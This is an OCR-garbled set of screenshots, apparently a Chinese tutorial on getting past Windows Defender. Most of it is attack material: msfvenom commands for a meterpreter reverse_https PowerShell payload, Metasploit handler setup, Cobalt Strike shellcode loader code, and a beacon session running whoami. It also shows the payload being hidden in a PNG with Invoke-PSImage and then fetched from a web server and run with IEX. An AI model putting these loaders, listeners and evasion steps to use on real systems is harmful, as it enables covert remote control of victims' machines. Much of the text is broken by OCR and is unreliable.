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vnic@: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
options=3<RXCSUM, TXCSUM>
ether 00:1C:42:00:00:08
inet 10.211.55.2 netmask Oxffffff0@® broadcast 10.211.55.255
media: autoselect
status: active
vnicl: flags=8843<UP,BROADCAST, RUNNING,SIMPLEX,MULTICAST> mtu 1500
options=3<RXCSUM, TXCSUM>
ether 00:1c:42:00:00:09
inet 10.37.129.2 netmask @xffffff@@ broadcast 10.37.129.255
media: autoselect
status: active
en8: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
options=6467<RXCSUM, TXCSUM, VLAN_MTU, TS04,TS06, CHANNEL_I0, PARTIAL_CSUM, ZEROINVER
ether 94:05:bb:1d:d8:8c
inet6 fe80::1c7e:2331:869:e3cd%en8 prefixlen 64 secured scopeid 0x19
inet 192.168.22.103 netmask Oxffffff@0® broadcast 192.168.22.255
nd6 options=201<PERFORMNUD,DAD>
media: autoselect (100baseTX <full-duplex>)
status: active
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RIGEAHIZITms fvenom

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=4444 -f psh-reflection > msf-crow

# crow @ crows-Mac in ~/Desktop/8530

$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=4444 -f psh-reflection > msf-crow.
psl

[-] No platform was selected, choosing Msf::Module::Platform: :Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload

Payload size: 606 bytes

Final size of psh-reflection file: 2980 bytes

BRI Kshell# 52 2 1 e A%

Windows Deferder: Kkill
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function x_Dh {
Param ($tTXv, $geeTu)
$acCgN = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Loca

return $acCgN.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])

}
function p6kED {
Param (
[Parameter(Position = @, Mandatory = $True)] [Type[]] $fE,
[Parameter(Position = 1)] [Type] $mk46 = [Void]
)

$eTIg = [AppDomain]::CurrentDomain.DefineDynamicAssembly ((New-Object System.Reflection.AssemblyName('Refl
$eTIg.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Stand
$eTIg.DefineMethod( 'Invoke', 'Public, HideBySig, NewSlot, Virtual', $mk46, $fE).SetImplementationFlags('R

return $eTIg.CreateType()

[Byte[]1]$1f1Qd = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMAI1SItSYEiLUhhIi1IgSItyUE@XyU

$bimh = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((x_Dh kernel32.dll VirtualA
[System.Runtime.InteropServices.Marshal]::Copy($1f1Qd, 0, $bilmh, $1f1Qd.length)

$gmg = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((x_Dh kernel32.dll CreateThr
[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer((x_Dh kernel32.dll WaitForSingleObj
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use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.211.55.2

set LPORT 4444



msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https

msf6 exploit(multi/handler) > set LHOST 10.211.55.2

LHOST => 1@.211.55.2

msf6 exploit(multi/handler) > set LPORT 4444

LPORT => 4444

msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/x64/meterpreter/reverse_https):

Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.211.55.2 yes The local listener hostname

LPORT 4444 yes The local listener port

LURI no The HTTP Path

Payload options (windows/x64/meterpreter/reverse_https):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.211.55.2 yes The local listener hostname
LPORT 4444 yes The local listener port
LURI no The HTTP Path
xploit target:
Id Name

Wildcard Target

sf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.211.55.2:4444
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PowerShell.exe -ExecutionPolicy Bypass -File .\msf-crow.psl
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ST> mtu 1588

CAWindows\system32\cmd. exe - PowerShellexe -ExecutionPolicy Bypass -File \msf-crow.ps1

SIMPLEX,MULTICAST> mtu 1508
msfconsole

naster>chcp 65601
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msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https

msf6 exploit(multi/handler) > set LHOST 10.211.55.2

LHOST == 10.211.55.2

msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.211.55.2:4444

H¥ZiZfTPowerShell.exe -ExecutionPolicy Bypass -File .\msf-crow.psl
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#4: sudo ./teamserver 10.211.55.2 50049

# crow @ crows-Mac in ~/Security/SecurityTools/cobaltstrike4.0-cracked [19:06:37]
$ sudo ./teamserver 10.211.55.2 50049

Password:

[*] Will use existing X509 certificate and keystore (for SSL)

[+] Team server is up on 50049
[*] SHA256 hash of SSL cert is: 2a301722f@2cbaf9d@5b58164f6646eeccdac’?34b3e96325a53f97088bcofbe5
[+] Listener: test0409 started!
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Set-StrictMode -Version 2

function func_get proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemb
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServi
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.Inte

function func_get_delegate_type {
Param (
[Parameter(Position = @, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.Assemb
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConvent
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_pa

return $var_type_builder.CreateType()

If ([IntPtr]::size -eq 8) {
[Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2IyYnNxcnVrEvFGashxQ2uocTtrgHEDa6hRc
for ($x = 0; $x -1t $var_code.Count; $x++) {

$var_code[$x] = $var_code[$x] -bxor 35

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x49)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_g

$var_runme.Invoke([IntPtr]::Zero)
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PowerShell.exe -ExecutionPolicy Bypass -File .\payload.psl
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external internal = listener user computer note process pid arch last

&4 10.211.55.3 10.211.55.3 test0409 crow CROW powershell.exe 1584 x64 21s

Hi&EX | Beacon 10.211.55.3@1584 X

beacon> sleep 0

[«*] Tasked beacon to become interactive
beacon> shell whoami

[*] Tasked beacon to run: whoami

[+] host called home, sent: 53 hytes
[+] received output:
crow\crow
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(1) 3 security vendors flagged this file as malicious
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payload.psl

chacks-network-adapters  detect-debug-environmaent  direct-cpu-clock-access  powarshall

34T KB 2021-05-30 10:30:33 UTC

runtime-maodules

* £
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY
Crowdsourced YARA Rules
Matches rule Maf 1 f by Florian Roth from ruleset gen_metasploit_payloads at https:igithub.comNeo23x0isignature-base
Ly Metasploit Payloads - file msf-ref pst
Crowdsourced Sigma Rules
lln crRMCALO  HIGH O LOW O
1 match for rula M. by Roberto Rodriguez @Cyb3rwardOg (... from Sigma Integrated Rule Sat (GitHub)
Ly Detects non-interactive PowerShell activity by looking at powershell.exe with not explorer.exe as a parent
Ad-Aware Hewr BZC. PZG Boxter 626 E390FEE2 AhnLab-v3 (I) Trojan/PowerShell CobaltStrike.51463
AlYac Arcabit (1) HeurBZC.FZQ Boxterd26.E390EER
Awast (1) PwrSh:Dropper-F [Trjl VG () PwrSh:Dropper-F [Trj]
BitDefender ar BZC, PZC Boxter 824 EIF0FEED Clamay (5) Win.Trojan.CobaltStrike-7917400-0
Cyren PSH/Cobacis.A.gen!Camalot Dritely (1) PowerShell.Inject.1?
Emsisoft (1) HewrBZC PZG Boxter 626 EI909EE (B) eScan (1) HeurBZC P70 Boxterd26 E3F09EE2
ESET-NODAZ Win32/Rozena ACE FireEye (I) HeurBZC.PZQ Boxter826.EI909EER
Fortinet JSMaboc. Altr Ghata (1) HeurBZC.FZQ Boxter826,E3509EE2
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Set-ExecutionPolicy Unrestricted -Scope CurrentUser

E R P 1A BR T A A i 4

—master

master

Import-Module .\Invoke-PSImage.psl

B ANInvoke-PSImageXf, HATWI TiEH:

Invoke-PSImage -Script .\msf-crow.psl -Image .\1l.jpg -Out msf-crow.png -Web > 1.txt

cutionPolicy Unr CurrentUser

ft. com/fwlink/?LinkID=135170

msf—crow. png
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-Script NEEWNE A Dpowershel 1A, RXERnsf-crow.psl
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’S C:\0 poweshell\Invoke—PSImage—master> . \Invoke—PSImage. psl
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Webﬁﬁé\:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://e
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python3 -m http.server 5555

XA ipHbk Rt &£10.211.55.2:5555

# crow @ crows—Mac in ~ [20:06:03]
$ cd Desktop/0530

# crow @ crows-Mac in ~/Desktop/0530 [20:06:11]
5 1 S
Invoke-PSImage—-master msf-crow.png msf-crow.psl payload.psl

# crow @ crows-Mac in ~/Desktop/0530 [20:06:12]

$ python3 -m http.server 5555
Serving HTTP on 0.0.0.0 port 5555 (http://0.0.0.0:5555/) ...

PERHLSWT:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://1

msfF g M T R =K

params
set LHOST eth@

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https

msf6 exploit(multi/handler) > set LPORT 4444

LPORT => 4444

msf6 exploit(multi/handler) > set LHOST 10.211.55.2
LHOST = 10.211.55.2

msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.211.55.2:4444
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Crowdsourced YARA Rules
i, Matches rube lrmvoke_PSimage by Florian Roth from ruleset gen_invoke_psimage at https:igithub.comMeo23x0fsignature-base @ View Ruleset
Ly Detects a command to sxecute PowerShell from String
ESET-MOD32 (1) PowerShelKryptik.CC Microscft (1) Trojan:PowerShelliPiychan.C
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Digtend ar\if
s\ crow\Desktop'\Invoke-PSImage-master

MR, MiXEBEESEWindows df T

EFcs, HER—FEHN, EXERFRITURT .
6. %W i ypass windows Defender

ﬁiﬁﬁ@ﬁ%ﬂuﬁﬁtﬂzﬁﬂﬁi&ﬁ?ﬂﬂﬁt, %ﬁﬁgﬁﬁzbﬂﬁ, %%ﬁﬁaInvoke—PSImaqeﬁiﬁi—/l\zliﬂﬂE
I E R S SR PAT

Import-Module .\Invoke-PSImage.psl

B ANInvoke-PSImage X, BATWI TiEH]:

Invoke-PSImage -Script .\msf-crow.psl -Image .\1l.jpg -Out crow_local.png > 3.txt

yoweshel 1\ Invoke—PSImage—master> Invoke-PSImage

yoweshell\Invoke-PSImage-master

3. extXHNBFWT:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\@_poweshell\Invoke-PSImage-maste
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msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.211.55.2:4444

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\@_poweshell\Invoke-PSImage-maste
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C:\Users\crow\Desktop\Invoke-PSImage-master
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sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\Users\crow\Desktop\Invoke-PSImag

+ | » Invoke-PSimage-master v
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msfconsole

EX Windows PowerShell

[*] Started HTT re handler on httg
[*] https://18.211. handLi
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sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");

$0=a Byte[] 3360;(0..6) |%s{foreach($x in(0..479)){$p=%$g.GetPixel($x,$_);
$0[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
$g.Dispose(); IEX( [System.Text.Encoding]: :ASCII.GetString($0[0..2979]))
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sal a New-Object;
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sal a New-Object;

Add-Type -A System.Drawing;
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sal a New-Object;
Add-Type -A System.Drawing;

$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");
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sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");

$o=a Byte[] 3360;(0..6)|%{foreach($x in(@..479)){$p=%$g.GetPixel($x,$_);
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KT

sal a New-Object;

Add-Type -A System.Drawing;

$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");
$0=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,%_);

$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
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$o[$_*480+$x]=([math]::Floor (($p.B-bandl5)*16)-bor ($p.G-bandl5))}};
fil R T wd £ AR
Wi J5 — A1

$g.Dispose();IEX([System.Text.Encoding]: :ASCII.GetString($0[0..2979]))

1EW®

IHEFMIRTER T $o[$_*480+$x]=([math] ::Floor (($p.B-bandl5)*16)-bor ($p.G-
band15) )} }; XA Z A HA:

sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");

$o=a Byte[] 3360;(0..6)|%{foreach($x in(@..479)){$p=%g.GetPixel($x,$_);

$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($0[0..2979]))
E#®
ARAEIN BT B B AR 6] 1
$o[$_*480+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
EH®

AHTEIX R, AR EAME— A EER T UK, ([ERBAT LUEE—&, AHE T —a AT LUEE —Z0R?

Z it fuzzz I

$o=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=%$g.GetPixel($x,$_);

$o[$_*480+$x]=([math]::Floor(($p.B-band1l5)*16)-bor($p.G-band15))}};
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sal a New-Object;

Add-Type -A System.Drawing;

$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");
$o=a Byte[] 3360;(0..6)|%{foreach($x in(@..479)){$p=%$g.GetPixel($x,$_);

$g.Dispose();IEX([System.Text.Encoding]: :ASCII.GetString($0[0..2979]))
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sal a New-Object;Add-Type -A System.Drawing;

$g=a System.Drawing.Bitmap("C:\0_poweshell\Invoke-PSImage-master\2.png");
$c=a Byte[] 3360;(0..6)|%{foreach($x in(0..479)){$p=$g.GetPixel($x,$_);
$c[$_*480+$x]=([math]::Floor(($p.B-band1l5)*16)-bor($p.G-band15))}};

$g.Dispose(); IEX([System.Text.Encoding]::ASCII.GetString($c[0..2979]))
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